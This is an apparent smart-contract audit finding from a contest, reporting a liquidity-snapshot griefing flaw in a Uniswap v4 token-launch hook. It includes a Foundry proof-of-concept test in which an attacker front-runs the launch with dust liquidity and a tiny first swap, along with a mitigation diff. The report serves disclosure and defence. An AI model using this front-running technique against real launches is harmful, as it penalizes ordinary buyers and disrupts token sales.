Vanguard

First Flight #56
Beginner FriendlyDeFiFoundry
0 EXP
Submission Details
Impact: medium
Likelihood: medium

Liquidity snapshot manipulation

Author Revealed upon completion

Description

  • The hook computes each user’s maximum swap amount as a fraction of initialLiquidity captured at launch. If initialLiquidity is 0 during afterInitialize, the contract lazily snapshots it on the first swap by calling StateLibrary.getLiquidity(...) and caching the value. Subsequent limit checks use this cached initialLiquidity.

  • If the pool is initialized with zero or very low liquidity, an attacker can add a tiny amount of liquidity and perform a tiny first swap before the team provides the intended liquidity. Because initialLiquidity is set only once (and never updated), it becomes locked to a trivial value (e.g., liquidity corresponding to 1 wei). The per‑swap limit then stays near‑zero even after real liquidity is added, making all legitimate swaps exceed the limit and forcing penalty fees.

function _afterInitialize(address, PoolKey calldata key, uint160, int24) internal override returns (bytes4) {
// Snapshots at init time; if no liquidity is present, stays 0
launchStartBlock = block.number;
uint128 liquidity = StateLibrary.getLiquidity(poolManager, key.toId());
@> initialLiquidity = uint256(liquidity);
currentPhase = 1;
lastPhaseUpdateBlock = block.number;
return BaseHook.afterInitialize.selector;
}
function _beforeSwap(address sender, PoolKey calldata key, SwapParams calldata params, bytes calldata)
internal override returns (bytes4, BeforeSwapDelta, uint24)
{
if (launchStartBlock == 0) revert PoolNotInitialized();
// If still zero, snapshot lazily on the first swap
@> if (initialLiquidity == 0) {
@> uint128 liquidity = StateLibrary.getLiquidity(poolManager, key.toId());
@> initialLiquidity = uint256(liquidity);
@> }
// Limits derive from *cached* initialLiquidity
uint256 phaseLimitBps = currentPhase == 1 ? phase1LimitBps : phase2LimitBps;
uint256 maxSwapAmount = (initialLiquidity * phaseLimitBps) / 10000;
...
}

Risk

Likelihood: Medium

  • A pool can be initialized with no or minimal liquidity during deployment; this is common in staged launches.

  • If an attacker front‑runs the team by adding dust liquidity and forcing the first swap, the snapshot will capture a trivial initial liquidity. This behavior follows directly from the shown lazy snapshot logic.

Impact: Medium

  • Persistent near‑zero limits: With initialLiquidity pinned at a tiny value, maxSwapAmount = (initialLiquidity * limitBps) / 10_000 becomes effectively 0, so legitimate users always exceed the limit and are penalized throughout the protection phase.

  • Operational disruption / reputational damage: Buyers experience unexpected penalties and degraded UX during launch, undermining trust in the token sale mechanics.

Proof of Concept

  • Create LiquiditySnapshotManipulation.t.sol under test directory and copy code below.

  • Run command forge test --mt test_LiquiditySnapshot_StuckAtTinyValue -vvvv.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.26;
import {Test} from "forge-std/Test.sol";
import {Deployers} from "@uniswap/v4-core/test/utils/Deployers.sol";
import {PoolSwapTest} from "v4-core/test/PoolSwapTest.sol";
import {MockERC20} from "solmate/src/test/utils/mocks/MockERC20.sol";
import {Hooks} from "v4-core/libraries/Hooks.sol";
import {HookMiner} from "v4-periphery/src/utils/HookMiner.sol";
import {LPFeeLibrary} from "v4-core/libraries/LPFeeLibrary.sol";
import {TickMath} from "v4-core/libraries/TickMath.sol";
import {LiquidityAmounts} from "@uniswap/v4-core/test/utils/LiquidityAmounts.sol";
import {IPoolManager} from "v4-core/interfaces/IPoolManager.sol";
import {TokenLaunchHook} from "../src/TokenLaunchHook.sol";
import {Currency} from "v4-core/types/Currency.sol";
import {SwapParams, ModifyLiquidityParams} from "v4-core/types/PoolOperation.sol";
import {PoolKey} from "v4-core/types/PoolKey.sol";
import {ERC1155TokenReceiver} from "solmate/src/tokens/ERC1155.sol";
contract LiquiditySnapshotManipulationTest is Test, Deployers, ERC1155TokenReceiver {
TokenLaunchHook hook;
MockERC20 token;
Currency ethCurrency = Currency.wrap(address(0));
Currency tokenCurrency;
uint256 phase1Duration = 100;
uint256 phase2Duration = 100;
uint256 phase1LimitBps = 100; // 1%
uint256 phase2LimitBps = 500; // 5%
uint256 phase1Cooldown = 5;
uint256 phase2Cooldown = 2;
uint256 phase1PenaltyBps = 1000; // 10%
uint256 phase2PenaltyBps = 500; // 5%
address attacker = address(0xB0B);
address user = address(0xAAA);
function setUp() public {
deployFreshManagerAndRouters();
token = new MockERC20("TOKEN", "TKN", 18);
tokenCurrency = Currency.wrap(address(token));
// fund actors
token.mint(address(this), 1_000 ether);
token.mint(attacker, 100 ether);
token.mint(user, 100 ether);
// approvals
token.approve(address(modifyLiquidityRouter), type(uint256).max);
token.approve(address(swapRouter), type(uint256).max);
vm.prank(attacker);
token.approve(address(swapRouter), type(uint256).max);
vm.prank(user);
token.approve(address(swapRouter), type(uint256).max);
// Mine correct flags for this hook: AFTER_INITIALIZE + BEFORE_SWAP
bytes memory creationCode = type(TokenLaunchHook).creationCode;
bytes memory args = abi.encode(
manager,
phase1Duration,
phase2Duration,
phase1LimitBps,
phase2LimitBps,
phase1Cooldown,
phase2Cooldown,
phase1PenaltyBps,
phase2PenaltyBps
);
uint160 flags = uint160(Hooks.BEFORE_SWAP_FLAG | Hooks.AFTER_INITIALIZE_FLAG);
(address mined, bytes32 salt) = HookMiner.find(address(this), flags, creationCode, args);
hook = new TokenLaunchHook{salt: salt}(
IPoolManager(manager),
phase1Duration,
phase2Duration,
phase1LimitBps,
phase2LimitBps,
phase1Cooldown,
phase2Cooldown,
phase1PenaltyBps,
phase2PenaltyBps
);
require(address(hook) == mined, "Hook address mismatch");
// Initialize pool with DYNAMIC_FEE_FLAG and this hook (no liquidity yet)
(key,) = initPool(
ethCurrency,
tokenCurrency,
hook,
LPFeeLibrary.DYNAMIC_FEE_FLAG,
SQRT_PRICE_1_1
);
}
function test_LiquiditySnapshot_StuckAtTinyValue() public {
int24 TICK_LOWER = -887220; // multiple of 60, below current price
int24 TICK_UPPER = 0; // current tick
uint160 sqrtLower = TickMath.getSqrtPriceAtTick(TICK_LOWER);
uint160 sqrtUpper = TickMath.getSqrtPriceAtTick(TICK_UPPER);
// === 1) Attacker adds *dust* liquidity and performs the *first tiny swap* ===
// Add minimal ETH-side liquidity to enable tiny swaps
uint256 tinyEth = 0.001 ether;
uint128 tinyLiq = LiquidityAmounts.getLiquidityForAmount0(sqrtLower, sqrtUpper, tinyEth);
// Add dust liquidity
modifyLiquidityRouter.modifyLiquidity{value: tinyEth + 0.1 ether}(
key,
ModifyLiquidityParams({
tickLower: TICK_LOWER,
tickUpper: TICK_UPPER,
liquidityDelta: int256(uint256(tinyLiq)),
salt: bytes32(0)
}),
ZERO_BYTES
);
// First tiny swap performed by attacker to trigger lazy snapshot
vm.deal(attacker, 1 gwei);
vm.startPrank(attacker);
SwapParams memory tinySwap = SwapParams({
zeroForOne: true,
amountSpecified: -int256(1 gwei), // exact-in tiny amount
sqrtPriceLimitX96: TickMath.MIN_SQRT_PRICE + 1
});
PoolSwapTest.TestSettings memory settings =
PoolSwapTest.TestSettings({takeClaims: false, settleUsingBurn: false});
swapRouter.swap{value: 1 gwei}(key, tinySwap, settings, ZERO_BYTES);
vm.stopPrank();
// Snapshot should now be set to a trivial value (>0 but tiny)
uint256 initialLiqSnapshot = hook.initialLiquidity();
assertGt(initialLiqSnapshot, 0, "snapshot should capture tiny liquidity"); // set lazily on first swap
// === 2) Team adds *real* liquidity (does not update snapshot) ===
uint256 bigEth = 10 ether;
uint128 bigLiq = LiquidityAmounts.getLiquidityForAmount0(sqrtLower, sqrtUpper, bigEth);
modifyLiquidityRouter.modifyLiquidity{value: bigEth + 0.5 ether}(
key,
ModifyLiquidityParams({
tickLower: TICK_LOWER,
tickUpper: TICK_UPPER,
liquidityDelta: int256(uint256(bigLiq)),
salt: bytes32(0)
}),
ZERO_BYTES
);
// Snapshot remains stuck to the tiny value
assertEq(hook.initialLiquidity(), initialLiqSnapshot, "snapshot should NOT update after big liquidity");
// === 3) Limits remain based on tiny snapshot, effectively zeroing allowed swaps ===
// Compute phase-1 maxSwapAmount based on tiny snapshot: (initialLiquidity * 1%) / 10_000
uint256 maxSwapAmount = (initialLiqSnapshot * phase1LimitBps) / 10_000;
// Either zero or near-zero (relative to real liquidity); in both cases it penalizes normal swaps
// Trigger one normal-sized user swap; remaining limit for the router should become 0
vm.deal(user, 0.01 ether);
vm.startPrank(user);
SwapParams memory userSwap = SwapParams({
zeroForOne: true,
amountSpecified: -int256(0.001 ether),
sqrtPriceLimitX96: TickMath.MIN_SQRT_PRICE + 1
});
swapRouter.swap{value: 0.001 ether}(key, userSwap, settings, ZERO_BYTES);
vm.stopPrank();
// Because tracking is keyed by router (current design), query router's remaining limit.
uint256 remaining = hook.getUserRemainingLimit(address(swapRouter));
assertEq(remaining, 0, "remaining limit should be effectively zero after tiny snapshot");
}
}

Recommended Mitigation

  • Adaptive snapshot with upper-bound refresh. If a substantial liquidity increase is detected during protection phases,
    allow a one-time (or threshold-based) increase of initialLiquidity.

  • Never decrease it, to prevent griefing via temporary LP withdrawals.

- if (initialLiquidity == 0) {
- uint128 liquidity = StateLibrary.getLiquidity(poolManager, key.toId());
- initialLiquidity = uint256(liquidity);
- }
+ uint256 currentLiq = uint256(StateLibrary.getLiquidity(poolManager, key.toId()));
+ if (initialLiquidity == 0) {
+ initialLiquidity = currentLiq;
+ } else if (currentPhase < 3) {
+ // e.g., only during protection window and only when growth is significant
+ if (currentLiq > initialLiquidity * 2) { // tune threshold
+ initialLiquidity = currentLiq;
+ }
+ }

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!